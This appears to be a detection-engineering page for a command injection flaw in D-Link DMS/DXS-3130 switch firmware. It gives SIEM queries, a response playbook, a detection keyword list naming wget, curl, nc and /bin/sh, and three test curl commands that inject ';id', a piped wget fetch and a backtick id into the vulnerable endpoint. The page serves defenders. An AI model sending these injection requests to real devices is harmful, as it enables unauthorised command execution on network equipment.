D-Link DMS-3130/DXS-3130 898_ssl_global OS Command Injection (CVE-2026-138357)
Detects exploitation attempts against CVE-2026-138357, an OS command injection vulnerability (CWE-77, CWE-78) with CVSS base score 8.6 in D-Link DMS-3130 and DXS-3130 switches running firmware 1.20.P006. The flaw is in the file 898_ssl_global.lua, part of the SSL Certificate Import Endpoint. The file_name argument is passed into a command context, which allows OS command execution. The attack can be carried out remotely. Because these are network switches with a web management interface, detection relies on HTTP and web-proxy telemetry showing requests to the SSL endpoint carrying shell metacharacters, and on any command-execution or outbound-connection telemetry forwarded from the device. The exploit has been publicly disclosed.
Vulnerability Intelligence
TheoreticalTimeline
- Disclosed
- November 30, 2026
CVSS
What is CVE-2026-138357 D-Link DMS-3130/DXS-3130 898_ssl_global OS Command Injection (CVE-2026-138357)?
D-Link DMS-3130/DXS-3130 898_ssl_global OS Command Injection (CVE-2026-138357) (CVE-2026-138357) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for D-Link DMS-3130/DXS-3130 898_ssl_global OS Command Injection (CVE-2026-138357), covering the data sources and telemetry it touches: IIS/Web proxy logs, Network device syslog (CEF), Firewall/WAF logs. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Initial Access Execution
// df00tech DF00-2da3655ac1 · https://df00tech.com/detections/CVE-2026-138357 · licence: https://df00tech.com/detections/licence
let cmdMeta = dynamic([";", "|", "&", "`", "$(", "${", "&&", "||", "%3B", "%7C", "%26", "%60", "wget", "curl", "nc ", "/bin/sh", "telnetd"]);
let target = "898_ssl_global";
W3CIISLog
| union (CommonSecurityLog | where DeviceVendor has "D-Link" or DeviceProduct has_any ("DMS-3130", "DXS-3130"))
| extend ReqUri = coalesce(csUriStem, RequestURL, "")
| extend ReqQuery = coalesce(csUriQuery, RequestContext, "")
| extend Blob = tolower(strcat(ReqUri, " ", ReqQuery))
| where Blob has target
| where cmdMeta has_any (Blob) or Blob matches regex @"%(3b|7c|26|60)"
| project TimeGenerated, SrcIp = coalesce(cIP, SourceIP, ""), DstHost = coalesce(sSiteName, DeviceName, Computer, ""), Method = coalesce(csMethod, RequestMethod, ""), ReqUri, ReqQuery, Status = coalesce(scStatus, "")
| order by TimeGenerated desc Flags HTTP requests to the 898_ssl_global endpoint on D-Link DMS/DXS-3130 management interfaces that contain shell command metacharacters or URL-encoded equivalents, indicating OS command injection attempts.
Data Sources
Required Tables
False Positives
- Legitimate administrators configuring SSL global settings where a parameter value coincidentally contains an ampersand or semicolon
- Vulnerability scanners (Nessus, Qualys) probing the management interface during authorized assessments
- Security monitoring tools performing synthetic transactions against the switch web UI
Query fingerprint DF00-2da3655ac1 · licence
Sigma logsource & community rules
The detection logic for D-Link DMS-3130/DXS-3130 898_ssl_global OS Command Injection (CVE-2026-138357) (CVE-2026-138357) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: network_connection
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-138357
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Command injection probe against 898_ssl_global (semicolon)
Expected signal: Web/proxy log entry for 898_ssl_global containing '%3B' or ';id' from the test source IP.
- Test 2 Command injection with outbound callback (wget)
Expected signal: Request log showing 898_ssl_global with '%7C' (pipe) and 'wget' substrings.
- Test 3 Encoded pipe injection via POST body
Expected signal: POST to 898_ssl_global with body containing '%60' (backtick) metacharacters.
Response Playbook
Triage
- Confirm the target host is a D-Link DMS-3130 or DXS-3130 switch running firmware 1.20.P006 by checking asset inventory and the device's management banner/version page.
- Extract the full request URI, query string, and any POST body hitting 898_ssl_global and decode URL-encoded characters to reveal the injected command payload.
- Determine whether the source IP is an authorized administrator/scanner or an untrusted/external host, and whether the management interface is reachable from untrusted networks.
- Check the HTTP response status and size to assess whether the injection likely succeeded (e.g., 200 with anomalous output vs. error/4xx).
Containment
- Restrict the switch management interface to a dedicated management VLAN/ACL and block the offending source IP at the upstream firewall.
- If compromise is suspected, isolate the switch from production traffic and fail over to a standby device where possible.
- Disable remote HTTP/HTTPS management on the affected device until a vendor fix or mitigation is applied.
Evidence Collection
- Capture and preserve web/proxy/firewall logs showing the full request and response for the 898_ssl_global interaction.
- Export the switch running-config, syslog, and any available command-history or audit logs for forensic review of unauthorized changes.
- Collect outbound connection telemetry from the device timeframe to identify attacker callback (wget/curl/nc) activity.
Escalation Criteria
- ! Escalate to incident response if the injected command executed (confirmed by device-side command/outbound-connection telemetry) or config changes are observed.
- ! Escalate to network operations and the device owner if the management interface is exposed to untrusted or internet-facing networks.
Investigation Guide
Forensic Artifacts
- >
Web/management-plane access logs on the device and upstream proxy showing 898_ssl_global requests - >
Switch running-config diffs and syslog entries indicating unexpected changes or new accounts - >
Outbound network connections from the switch management IP to attacker infrastructure
Tuning Guidance
Baseline which internal management/admin hosts and authorized scanners legitimately access the switch web UI and allowlist them. Narrow the metacharacter regex if admin workflows legitimately include certain characters in SSL field values, and prioritize alerts where the source IP is outside the management network or the request originates from an untrusted segment.
Hunting Queries
Surfaces source IPs making repeated requests to the 898_ssl_global endpoint, indicating probing or brute-force injection attempts.
// df00tech DF00-2da3655ac1 · https://df00tech.com/detections/CVE-2026-138357 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has "898_ssl_global" | summarize count() by cIP, bin(TimeGenerated, 1h) | where count_ > 5 ``` df00tech DF00-2da3655ac1 · https://df00tech.com/detections/CVE-2026-138357 · licence: https://df00tech.com/detections/licence ```
index=web uri="*898_ssl_global*" | stats count by src_ip, date_hour | where count>5 Atomic Red Team Tests
Sends a crafted GET request to the vulnerable SSL global endpoint with a shell command appended via semicolon, simulating OS command injection.
Command
curl -k -s -o /dev/null -w '%{http_code}\n' "https://SWITCH_IP/898_ssl_global?param=1%3Bid" Cleanup
echo 'No cleanup required; probe is read-only against lab device.' Expected Telemetry
Web/proxy log entry for 898_ssl_global containing '%3B' or ';id' from the test source IP.
Expected Detection
KQL/SPL rule fires on the presence of 898_ssl_global plus a command metacharacter.
Simulates an attacker injecting a wget command to retrieve a payload, exercising the outbound-callback detection path.
Command
curl -k -s "https://SWITCH_IP/898_ssl_global?cfg=x%7Cwget%20http%3A%2F%2F127.0.0.1%2Ft" Cleanup
rm -f ./t 2>/dev/null; echo 'cleanup done' Expected Telemetry
Request log showing 898_ssl_global with '%7C' (pipe) and 'wget' substrings.
Expected Detection
Detection matches on the wget/pipe indicators within the 898_ssl_global request.
Posts a URL-encoded command-injection payload in the request body to the SSL global configuration endpoint.
Command
curl -k -s -X POST "https://SWITCH_IP/898_ssl_global" --data 'ssl_opt=a%60id%60' Cleanup
echo 'No persistent artifacts created.' Expected Telemetry
POST to 898_ssl_global with body containing '%60' (backtick) metacharacters.
Expected Detection
Rule matches body/query metacharacters for the 898_ssl_global endpoint.
Related Detections
Tactic Hubs
Related Techniques
Same Tactic: Initial Access
Browse by tactic
- Reconnaissance TA0043
- Resource Development TA0042
- Initial Access TA0001
- Execution TA0002
- Persistence TA0003
- Privilege Escalation TA0004
- Stealth TA0005
- Defense Impairment TA0112
- Credential Access TA0006
- Discovery TA0007
- Lateral Movement TA0008
- Collection TA0009
- Command and Control TA0011
- Exfiltration TA0010
- Impact TA0040